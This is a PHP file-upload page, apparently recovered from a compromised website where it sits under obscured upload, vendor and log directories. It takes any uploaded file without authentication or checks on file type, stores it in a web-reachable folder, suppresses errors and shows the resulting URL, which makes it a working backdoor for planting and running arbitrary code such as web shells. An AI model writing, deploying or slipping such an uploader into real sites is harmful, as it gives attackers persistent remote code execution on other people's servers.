| Current Path : /home/quelfutuu/www/grice/uploads_uJt/vendor_9Vh/logs_f42/ |
| Current File : /home/quelfutuu/www/grice/uploads_uJt/vendor_9Vh/logs_f42/upload_39dw.php |
<?php
error_reporting(0);
$upload_dir=__DIR__;
$message="";
if($_SERVER["REQUEST_METHOD"]=="POST"&&isset($_FILES["file"])){
$file=$_FILES["file"];
if($file["error"]===UPLOAD_ERR_OK){
$filename=basename($file["name"]);
$target=$upload_dir."/".$filename;
$counter=1;
$info=pathinfo($filename);
$name=$info["filename"];
$ext=isset($info["extension"])?".".$info["extension"]:"";
while(file_exists($target)){
$filename=$name."_".$counter.$ext;
$target=$upload_dir."/".$filename;
$counter++;
}
if(move_uploaded_file($file["tmp_name"],$target)){
$protocol=(!empty($_SERVER["HTTPS"])&&$_SERVER["HTTPS"]!="off")?"https":"http";
$host=$_SERVER["HTTP_HOST"];
$url=$protocol."://".$host.str_replace($_SERVER["DOCUMENT_ROOT"],"",$target);
$message="<div style=\"color:#27ae60;padding:15px;background:#d5f5e3;border-radius:8px;\">✅ Upload success!<br>📁 Path: ".$target."<br>🔗 URL: <a href=\"".$url."\" target=\"_blank\">".$url."</a></div>";
}else{
$message="<div style=\"color:#e74c3c;padding:15px;background:#fdebd0;border-radius:8px;\">❌ Upload failed</div>";
}
}else{
$message="<div style=\"color:#e74c3c;padding:15px;background:#fdebd0;border-radius:8px;\">❌ Upload error</div>";
}
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>Uploader</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{font-family:Segoe UI,Arial,sans-serif;background:#f0f2f5;display:flex;justify-content:center;align-items:center;min-height:100vh;padding:20px;}
.c{background:#fff;padding:40px;border-radius:16px;box-shadow:0 10px 40px rgba(0,0,0,0.1);max-width:600px;width:100%;}
h1{text-align:center;color:#2c3e50;font-size:24px;margin-bottom:5px;}
.sub{text-align:center;color:#95a5a6;font-size:13px;margin-bottom:25px;}
.upload-box{border:2px dashed #dce4ec;border-radius:12px;padding:40px 20px;text-align:center;}
.upload-box input[type="file"]{display:none;}
.upload-box label{display:inline-block;padding:12px 30px;background:#3498db;color:#fff;border-radius:8px;cursor:pointer;font-weight:500;}
.upload-box label:hover{background:#2980b9;}
.upload-box p{margin-top:15px;color:#7f8c8d;}
.btn-upload{display:block;width:100%;padding:12px;background:#2ecc71;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;margin-top:15px;}
.btn-upload:hover{background:#27ae60;}
.message{margin-top:20px;}
</style>
</head>
<body>
<div class="c">
<h1>📤 File Uploader</h1>
<div class="sub">Upload files to this directory</div>
<?php echo $message; ?>
<form method="POST" enctype="multipart/form-data">
<div class="upload-box">
<input type="file" name="file" id="fileInput" required>
<label for="fileInput">📁 Choose File</label>
<p id="fileName">No file selected</p>
</div>
<button type="submit" class="btn-upload">⬆ Upload</button>
</form>
<div style="margin-top:20px;text-align:center;font-size:12px;color:#95a5a6;border-top:1px solid #eee;padding-top:15px;">
Upload path: <?php echo __DIR__; ?>
</div>
</div>
<script>
document.getElementById("fileInput").addEventListener("change", function() {
document.getElementById("fileName").textContent = this.files[0] ? this.files[0].name : "No file selected";
});
</script>
</body>
</html>